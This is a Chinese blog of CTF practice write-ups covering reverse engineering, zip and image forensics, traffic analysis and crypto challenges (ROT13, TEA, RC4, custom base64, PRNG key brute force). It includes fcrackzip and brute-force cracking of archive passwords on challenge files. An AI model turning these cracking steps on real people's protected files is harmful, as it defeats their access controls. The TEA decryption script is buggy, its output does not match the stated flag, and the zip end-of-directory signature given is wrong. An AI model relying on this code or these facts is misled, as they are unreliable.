进入主函数开始分析
image.png
先分析第一段,输入字符Destination,判断长度是否是6,感觉没啥,继续往下读,往下读发现读不通了,全是粉色的函数
点进sub_40100A函数中会发现更多的粉色函数,直接上网搜每一个函数大概是什么意思
image.png

CryptAcquireContextA:连接CSP,获得指定CSP的密钥容器的句柄
CryptCreateHash:启动数据流的散列。它创建并向调用应用程序返回加密服务提供程序 (CSP) 哈希对象的句柄。此句柄用于后续调用 CryptHashData 和 CryptHashSessionKey 以散列会话密钥和其他数据流。
CryptHashData:将数据添加到指定的哈希对象。可以多次调用此函数和 CryptHashSessionKey 来计算长数据流或不连续数据流的哈希值。
CryptGetHashParam:检索控制散列对象操作的数据。可以使用此函数检索实际散列值。
wsprintfA:将一系列的字符和数值输入到缓冲区。输出缓冲区里的的值取决于格式说明符(即”%”)。
lstrcatA:该函数将字符串lpString2附加在另一个字符串lpString1后面。
CryptDestroyHash:销毁由 hHash 参数引用的哈希对象。散列对象被销毁后,就不能再使用了。
CryptReleaseContext:释放加密服务提供程序 (CSP) 和密钥容器的句柄。

后面将Destination和”@DBApp”,v3赋值为Destination的长度,
1661702238317.png

[FlareOn4]login

M1–读代码解密

image.png
下载好了之后是这样的两个文件,
打开Description.txt文本文件给了flag的格式是以邮箱的形式
image.png
打开login.html文件可以发现下面的源代码里有加密的代码逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
document.getElementById("prompt").onclick = function () 
{
var flag = document.getElementById("flag").value;
var rotFlag = flag.replace(
/[a-zA-Z]/g,
function(c)
{
return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);
}
);
if ("PyvragFvqrYbtvafNerRnfl@syner-ba.pbz" == rotFlag)
{
alert("Correct flag!");
} else
{
alert("Incorrect flag, rot again");
}
}

看到一条关键信息的加密
String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);
看上去是一个超级三目运算,输入的c经过加密后输出
这样看的话很烦看着,所以直接设未知字符串
enc1=(c <= "Z" ? 90 : 122)判断输入的字符是大写还是小写,并且对应着’z’的ascii’码
enc2=(c = c.charCodeAt(0) + 13)将当前的字符的第一个字符的ASCII值+13再赋给enc2

js的charCode()方法
返回字符串第一个字符的 Unicode 编码(H 的 Unicode 值):
e.g:
var str = "HELLO WORLD"; var n = str.charCodeAt(0);
输出结果:72
tips:
Unicode编码与Ascii编码之间的区别是一个是2个字节一个1个字节,统一为Unicode编码是为了不出现乱码的情况

最后的三目运算就是enc1>=enc2?enc2:enc-26最后加完的值大于等于当前的”Z”,如果是执行enc2,即是+13后的结果,如果不是的话就是-26,反过来用flag的字符就是-13后小于当前字符对应的A时,就+26,否则就-13,写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
enc = 'PyvragFvqrYbtvafNerRnfl@syner-ba.pbz'
flag =''
for i in enc: #字符串的遍历 range(enc)是数组的遍历
if ord(i)>=65 and ord(i)<=90:
if ord(i)-13<65:
flag+=chr(ord(i)+13)
else:
flag+=chr(ord(i)-13)
elif ord(i)>=97 and ord(i)<=122:
if ord(i)-13<97:
flag+=chr(ord(i)+13)
else:
flag+=chr(ord(i)-13)
else:
flag +=i
print(flag)

M2–ROT13的利用

没想啊,竟然是ROT13的加密
一个是+13一个是-26就是正巧是ROT-13。
只受26个字母的影响,数字、符号、空白以及其他的所有字元都不变( 英文字母的字符换成它13位之后的字符,越界之后再折回来)。
直接将获得的密文进行ROT13解码就行了,ASCII对照表可以方便数清字母之间相差的位数
ABCDEFGHIJKLMNOPQRSTUVWXYZ
NOPQRSTUVWXYZABCDEFGHIJKLM
ascii-1-1.png

flag{ClientSideLoginsAreEasy@flare-on.com }

[2019红帽杯]easyRE

查看字符串,点进提示字符所在的函数之后发现在主函数的伪代码
image.png
image.png
经过大佬的讲解貌似是经过十次base64的加密,最后与后面的字符进行比较,比较成功就会显示”You found me!!!

b64decode()
将二进制字符串解码为正常形式

Youngter-drive

下载后发现是被upx加壳的文件,直接脱壳,而且是32位的,直接放在ida里进行分析
分析主函数
image.png

相册

下载后是一个apk文件,放在模拟器里面发现打不开文件,所以直接使用GDA打开apk分析文件
查看所有字符后猜测是base64加密的,查看C2之后发现用到了NativeMethod方法,再进行base64的解密
image.png
image.png

Native Method

是一个java调用非java代码的接口,是由非java语言实现的。
我们可以在一个native method的本地实现中访问所有的java特性,但是这要依赖于你所访问的java特性的实现,而且这样做远远不如在java语言中使用那些特性方便和容易。
native method的存在并不会对其他类调用这些本地方法产生任何影响,实际上调用这些方法的其他类甚至不知道它所调用的是一个本地方法

找到.so文件右键导出(找了半天才找到怎么操作这个东西)
image.png
将.so文件放在ida32位里面进行分析,发现有三串感觉像是base64加密后的密文,直接用在线转换的工具转换。
image.png
image.png
image.png
image.png
后面按照题目的意思flag是一个邮箱,所以flag应该是18218465125@163.com ,包上flag{}就正确了
###flag{18218465125@163.com }

BUUCTF平台MISC刷题20221217

二维码

QR_code.png
下载后是一张照片,二维码的图片,直接用软件破解后填入是错的
直接将图片放入到010editor进行分析,发现这个图片里包含着压缩包,kali中的binwalk进行分离
binwalk -e xx.png
分离出压缩包且是加密的,使用爆破命令
fcrackzip -b -c 1 -l 4-4 -u /home/kali/Desktop/1D7.zip 4-4是由于文件打开后的文本文件写的是4位数的密码所以是4,得到解压密码是7639 解压出来密码得到了flag文件
##flag{vjpw_wnoei}

N种方法解决

下载后的文件执行不了,直接拖入010editor中进行分析
图片.png根据开头的data:image/jpg;base64知道应该是将base64的编码转换成照片
图片.png二维码扫描工具
图片.png
将KEY换成flag就好了
##flag{dca57f966e4e4e31fd5b15417da63269}

大白

图片.png
显示屏幕太小,所以大概是长宽被改变了。
图片.png放入010之后也报了CRC错误,改变图片的高度与宽度相同 02 A7,得到flag
image.png图片.png
图片.png###flag{He1l0_d4_ba1}

wireshark

根据题目的提示
图片.png
登录后的流量包是POST的,只有这一条是符合条件的
图片.png图片.png找到管理员的密码得到flag
###flag{ffb7567a1d4f4abdffdb54e022f8facd&captcha}

rar

图片.png
下载后是一个压缩包,直接进行密码的爆破,4位纯数字,设置好后等待,接触的密码是8795,打开加密的压缩文件得到flag
图片.png
###flag{1773c5da790bd3caff38e3decd180eb7}

zip伪加密

下载得到加密的压缩包,如果像上面的题目的话,我们是得不到密码的
图片.png
放入010editor看看
图片.png这里需要补充知识点
文件的头文件类型
一个 ZIP 文件由三个部分组成: 压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志
1、压缩源文件数据区
image.png
在这个数据区中每一个压缩的源文件/目录都是一条记录,记录的格式如下:[文件头+ 文件数据 + 数据描述符]
a 文件头格式
组成   长度


文件头标记 4 bytes (0x04034b50)
解压文件所需 pkware 版本 2 bytes
全局方式位标记 2 bytes
压缩方式 2 bytes
最后修改文件时间 2 bytes
最后修改文件日期 2 bytes
CRC-32校验 4 bytes
压缩后尺寸 4 bytes
未压缩尺寸 4 bytes
文件名长度 2 bytes
扩展记录长度 2 bytes
文件名 (不定长度)
扩展字段 (不定长度)
b、文件数据
c、数据描述符
  组成   长度


CRC-32校验 4 bytes
  压缩后尺寸 4 bytes
   未压缩尺寸 4 bytes
这个数据描述符只在全局方式位标记的第3位设为1时才存在(见后详解),紧接在压缩数据的最后一个字节后。这个数据描述符只用在不能对输出的 ZIP 文件进行检索时使用。例如:在一个不能检索的驱动器(如:磁带机上)上的 ZIP 文件中。如果是磁盘上的ZIP文件一般没有这个数据描述符。

 2、压缩源文件目录区

image.png在这个数据区中每一条纪录对应在压缩源文件数据区中的一条数据
组成   长度


  目录中文件文件头标记             	4 bytes  (0x02014b50)
  压缩使用的 pkware 版本          	2 bytes
  解压文件所需 pkware 版本         	2 bytes
全局方式位标记                   		2 bytes
  压缩方式                        			2 bytes
  最后修改文件时间                		2 bytes
  最后修改文件日期                 		2 bytes
  CRC-32校验                 		4 bytes
  压缩后尺寸                      			4 bytes
  未压缩尺寸                      			4 bytes
  文件名长度                      			2 bytes
  扩展字段长度                    		2 bytes
  文件注释长度                   	 	2 bytes
  磁盘开始号                      			2 bytes
  内部文件属性                    		2 bytes
  外部文件属性                    		4 bytes
        局部头部偏移量                  			4 bytes
  文件名                       			(不定长度)
  扩展字段                     			(不定长度)
        文件注释                     				(不定长度)

–>这里是有判断是否存在加密情况的判断点

识别真假加密

无加密

压缩源文件数据区的全局加密应当为00 00
且压缩源文件目录区的全局方式位标记应当为00 00

假加密

压缩源文件数据区的全局加密应当为00 00
且压缩源文件目录区的全局方式位标记应当为09 00

真加密

压缩源文件数据区的全局加密应当为09 00
image.png3、压缩源文件目录结束标志
   组成   长度


    目录结束标记                    		4 bytes  (0x02014b50)

当前磁盘编号 2 bytes
目录区开始磁盘编号 2 bytes
 本磁盘上纪录总数 2 bytes
 目录区中纪录总数 2 bytes
 目录区尺寸大小 4 bytes
 目录区对第一张磁盘的偏移量 4 bytes
 ZIP 文件注释长度 2 bytes
根据题目说是伪加密
直接将上面提及的09 00 改为00 00改好后保存,这时压缩包就可以打开了,得到flag文件图片.png
###flag{Adm1N-B2G-kU-SZIP}

被嗅探的流量

图片.png
抓取的文件传输的数据,直接寻找POST包
http.request.method==POST
图片.png跟踪TCP流找到flag
###flag{da73d88936010da1eeeb36e945ec4b97}

安全测试员职业技能赛

01hidden key

赛题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import *
from secret import flag
import random
import hashlib
import os

key=os.urandom(8)
def rand(rng):
return rng - random.randrange(rng)
m=[]
random.seed(int(hashlib.md5(key).hexdigest(), 16))
for i in range(len(flag)):
rand(256)
xor=flag[i]^rand(256)
m.append(xor)
print(m)
print(bytes_to_long(key)>>12)

# [140, 96, 112, 178, 38, 180, 158, 240, 179, 202, 251, 138, 188, 185, 23, 67, 163, 22, 150, 18, 143, 212, 93, 87, 209, 139, 92, 252, 55, 137, 6, 231, 105, 12, 65, 59, 223, 25, 179, 101, 19, 215]
# 2669175714787937

由题目可知,key左移12位,因此在2669175714787937右移12位后减去4096到加上4096长度的区间内进行爆破,解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *
import random
import hashlib
import os
def rand(rng):
return rng - random.randrange(rng)
for i in range(10932943727771385856,10932943727771394048):
key1=long_to_bytes(i)
random.seed(int(hashlib.md5(key1).hexdigest(), 16))
m = ""
flag = [140, 96, 112, 178, 38, 180, 158, 240, 179, 202, 251, 138, 188, 185, 23, 67, 163, 22, 150, 18, 143, 212, 93,
87, 209, 139, 92, 252, 55, 137, 6, 231, 105, 12, 65, 59, 223, 25, 179, 101, 19, 215]
for i in range(len(flag)):
rand(256)
xor = flag[i] ^ rand(256)
m += chr(xor)
if 'flag' in m:
print(m)
#flag{e319a58c-4dd6-4e6a-a3fb-f4b0d339faba}

other method

1
print(bytes_to_long(key)>>12)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
import random
import hashlib
import os
def rand(rng):
return rng - random.randrange(rng)
key_int = (2669175714787937) << 12
for key_ad in range(0,pow(2,12)):
key = long_to_bytes(key_int + key_ad)
flag = ""
random.seed(int(hashlib.md5(key).hexdigest(), 16))
m = [140, 96, 112, 178, 38, 180, 158, 240, 179, 202, 251, 138, 188, 185, 23,
67, 163, 22, 150, 18, 143, 212, 93, 87, 209, 139, 92, 252, 55, 137, 6, 231, 105,
12, 65, 59, 223, 25, 179, 101, 19, 215]
for i in range(len(m)):
a = rand(256)
b = rand(256)
xor=m[i]^b
flag += chr(xor)
if "flag" in flag:
print(key)
print(key_ad)
print(flag)

02bad python

010打开附件,发现缺少pyc文件头,由附件名可知,缺少的是python3.6版本的pyc文件头,于是补全,然后得到在线反编译代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.6

from ctypes import *
from Crypto.Util.number import bytes_to_long
from Crypto.Util.number import long_to_bytes

def encrypt(v, k):
v0 = c_uint32(v[0])
v1 = c_uint32(v[1])
sum1 = c_uint32(0)
delta = 195935983
for i in range(32):
v0.value += (v1.value << 4 ^ v1.value >> 7) + v1.value ^ sum1.value + k[sum1.value & 3]
sum1.value += delta
v1.value += (v0.value << 4 ^ v0.value >> 7) + v0.value ^ sum1.value + k[sum1.value >> 9 & 3]

return (v0.value, v1.value)

if __name__ == '__main__':
flag = input('please input your flag:')
k = [
255,
187,
51,
68]
if len(flag) != 32:
print('wrong!')
exit(-1)
a = []
for i in range(0, 32, 8):
v1 = bytes_to_long(bytes(flag[i:i + 4], 'ascii'))
v2 = bytes_to_long(bytes(flag[i + 4:i + 8], 'ascii'))
a += encrypt([
v1,
v2], k)

enc = [
0xEEC7D402L,
0x99E9363FL,
0x853BDE61L,
558171287,
0x908F94B0L,
1715140098,
986348143,
1948615354]
for i in range(8):
if enc[i] != a[i]:
print('wrong!')
exit(-1)
print('flag is flag{%s}' % flag)

可知是tea加密,写出解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdint.h>

void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0];
uint32_t v1 = v[1];
uint32_t sum1 = 6269951456;
uint32_t delta= 195935983;
for (int i = 0; i < 32; i++) {
v1 -= (v0 << 4 ^ v0 >> 7) + v0 ^ sum1 + k[sum1 >> 9 & 3];
sum1 -= delta;
v0 -= (v1 << 4 ^ v1 >> 7) + v1 ^ sum1 + k[sum1 & 3];
}
v[0] = v0;
v[1] = v1;
}

int main() {
uint32_t k[4] = {255, 187,51,68};
uint32_t v[8] = {0xEEC7D402,0x99E9363F,0x853BDE61,558171287,0x908F94B0,1715140098,986348143,1948615354};
uint32_t v1[2];
for(int i=0;i<=8;i+=2){
v1[0]=v[i];
v1[1]=v[i+1];
decrypt(v,k);
printf("Decrypted data is : %x %x\n", v[0], v[1]);
}

}
//Decrypted data is : 54683173 5f31735f
//Decrypted data is : f3d3464e 6074057d
//Decrypted data is : a2d58ef0 1ffccc21
//Decrypted data is : b43e3807 9041e478
//Decrypted data is : ae371ecd 38e014ed
0xAB,0x28,0x52,0x47,0xF6,0xA7,0xAC,0xA3,0x20,0x6F,0xA3,0x66,0x0B,0x49,0xF8,0x09,0x79,0x40,0x54,0x12,0x16,0xED,0xB3,0x58,0xF3,0x63,0x9E,0x99,0x20,0x4D,0x7C,0xEE

然后转成byte类型组合在一起可得Th1s_1s_A_Easy_Pyth0n__R3veRse_0

flag{Th1s_1s_A_Easy_Pyth0n__R3veRse_0}

03ereeee

下载附件,打开ida分析可知是rce加密和base64换表加密

解题脚本:换表base64:

1
2
3
4
5
6
7
import base64
import string
str1 = "ScDZC1cNDZaxnh/2eW1UdqaCiJ0ijRIExlvVEgP43rpxoxbYePBhpwHDPJ=="
string1 = "ZYXWVUTSRQPONMLKJIHGFEDCBAabcdefghijklmnopqrstuvwxyz/+9876543210"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print(base64.b64decode(str1.translate(str.maketrans(string1,string2))))
#\x1d\xc5\x80_\xe7\x0cX\x06\xb1\x9e\x1d=x?\x85v\xa6\x97\x89\x0f\xe2\x8c\x84U\xc6[\xc4V\x02\xbb\xf2\xbaq\xa3\x16\xc1x\xa6!\xa7\x04\x96)

rc4解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
def rc4_main(key = "init_key", message = "init_message"):
print("RC4解密主函数调用成功")
print('\n')
s_box = rc4_init_sbox(key)
crypt = rc4_excrypt(message, s_box)
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
print("原来的 s 盒:%s" % s_box)
print('\n')
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
print("混乱后的 s 盒:%s"% s_box)
print('\n')
return s_box
def rc4_excrypt(plain, box):
print("调用解密程序成功。")
print('\n')
plain = base64.b64decode(plain.encode('utf-8'))
plain = bytes.decode(plain)
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
print("res用于解密字符串,解密后是:%res" %res)
print('\n')
cipher = "".join(res)
print("解密后的字符串是:%s" %cipher)
print('\n')
print("解密后的输出(没经过任何编码):")
print('\n')
return cipher
a=[] #cipher
key="flag{123321321123badbeef012}"
s="\x1d\xc5\x80_\xe7\x0cX\x06\xb1\x9e\x1d=x?\x85v\xa6\x97\x89\x0f\xe2\x8c\x84U\xc6[\xc4V\x02\xbb\xf2\xbaq\xa3\x16\xc1x\xa6!\xa7\x04\x96)"
for i in a:
s+=chr(i)
s=str(base64.b64encode(s.encode('utf-8')), 'utf-8')
rc4_main(key, s)

得flag{RC_f0ur_And_Base_s1xty_f0ur_Encrypt_!}

将flag{}包裹的字符串md5后再用flag{}包裹得flag{7d3357ea9ae1a4b2746147bc053c190d}

  • Title: 刷题记录
  • Author: Juana_2u
  • Created at : 2023-09-13 21:29:43
  • Updated at : 2023-10-14 11:43:16
  • Link: https://juana-2u.github.io/2023/09/13/刷题记录/
  • License: This work is licensed under CC BY-NC-SA 4.0.